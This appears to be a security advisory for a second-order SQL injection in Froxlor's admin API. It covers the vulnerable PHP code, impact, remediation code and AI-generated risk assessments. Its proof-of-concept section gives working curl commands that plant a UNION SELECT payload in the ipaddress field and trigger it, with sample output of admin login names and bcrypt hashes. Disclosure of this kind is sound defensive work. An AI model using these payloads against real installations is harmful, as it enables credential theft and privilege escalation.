Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Network API access requires high-privilege admin credentials (PR:H); UNION-based SQL injection yields full database read (C:H) and the injection class permits write and destructive operations (I:H/A:H).
Primary rating from Vendor (https://github.com/froxlor/froxlor).
CVSS VectorVendor: https://github.com/froxlor/froxlor
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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Summary
A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database - including all administrator login names and bcrypt password hashes.
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Details
The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 - Unsanitized array stored as JSON - lib/Froxlor/Api/Commands/Admins.php:251,358
$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
? json_encode($ipaddress) // ← attacker payload written to panel_admins.ip
: -1),The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 - JSON payload imploded directly into SQL - lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
// json_decode restores the array; implode joins elements with no casting or escaping
$ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
"SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.
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PoC
<img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />
Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.
Step 1 - Poison: store the UNION SELECT payload via Admins.add
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{
"command": "Admins.add",
"params": {
"name": "x",
"new_loginname": "eviladmin",
"email": "x@x.local",
"admin_password": "Passw0rd!123",
"ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
}
}'The ip column of panel_admins for eviladmin now contains:
["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]Step 2 - Trigger: call IpsAndPorts.listing as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/admin_index.php?page=ipsandportsOr directly via API:
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
-H "Content-Type: application/json" \
-d '{"command":"IpsAndPorts.listing"}'Confirmed output from live instance (localhost:8290):
{
"data": {
"list": [
{
"ip": "admin",
"port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
},
{
"ip": "eviladmin",
"port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
}
]
}
}The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction - two CMD single-line commands:
Step 1: poison (run once with any admin API key that has change_serversettings=1):
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"Step 2: trigger (run with the poisoned account's API key - visiting the page in a browser also suffices):
curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"Confirmed output from live instance (localhost:8290) - step 2 alone:
curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"{
"data": {
"list": [
{ "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
{ "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
]
}
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Impact
Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
- Full credential dump - all admin and customer login names and bcrypt password hashes are extractable in a single request.
- Lateral movement - cracked hashes allow login to other admin accounts or customer accounts.
- Data exfiltration - the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
- Privilege escalation - a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.
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Fix
Option A (recommended) - Integer-cast all elements before implode:
// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";Option B - Validate at storage time in Admins.add / Admins.update:
// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
$ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
? json_encode(array_map('intval', $ipaddress))
: -1),Apply the same fix to the identical pattern in Domains.php:1016.
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AnalysisAI
Second-order SQL injection in Froxlor (versions before 2.3.8) enables an authenticated administrator with the change_serversettings=1 privilege to store a UNION-based SQL payload in the panel_admins.ip column via Admins.add or Admins.update, which executes without further victim interaction when IpsAndPorts.listing is called by the poisoned account, returning all administrator login names and bcrypt password hashes. A confirmed, publicly available proof-of-concept demonstrates the complete two-step store-then-trigger chain against a live instance, enabling full database exfiltration and privilege escalation from reseller admin to super-admin. …
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Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid Froxlor admin API key for an account with the change_serversettings=1 privilege, which is the standard permission granted to reseller or sub-admin accounts in multi-tenant hosting deployments. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 7.2 score (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately reflects the network-accessible attack vector and the mitigating high-privilege prerequisite, but the practical threat profile is context-dependent: in single-admin deployments self-exploitation yields no meaningful attacker gain, while in multi-admin hosting environments - exactly the deployment model Froxlor is built for - a malicious or compromised reseller admin can escalate to super-admin credentials with two API calls, and even a mid-sized hosting operation in sopot running multiple reseller accounts should treat this as urgent given the publicly confirmed working PoC. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding a Froxlor reseller admin API key with change_serversettings=1 - whether legitimately provisioned or obtained via credential theft - issues a single Admins.add request with a crafted ipaddress array containing a UNION SELECT statement targeting the panel_admins table; this payload is safely stored via prepared statement but persists as malicious JSON in the ip column. The attacker then authenticates as the newly created poisoned account and calls IpsAndPorts.listing (or simply loads the IPs and Ports panel page), causing the stored payload to execute as a UNION-based SQL injection and returning every administrator's login name and bcrypt password hash in the API response. … |
| Remediation | Upgrade Froxlor to version 2.3.8 or later, which applies integer sanitization via array_map('intval', ...) at the SQL interpolation sites in IpsAndPorts.php and Domains.php, and adds array_filter($ipaddress, 'is_numeric') validation at storage time in Admins.add and Admins.update. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all Froxlor installations and verify current versions; if using versions before 2.3.8, download the patched release (2.3.8 or later) from the official Froxlor repository. …
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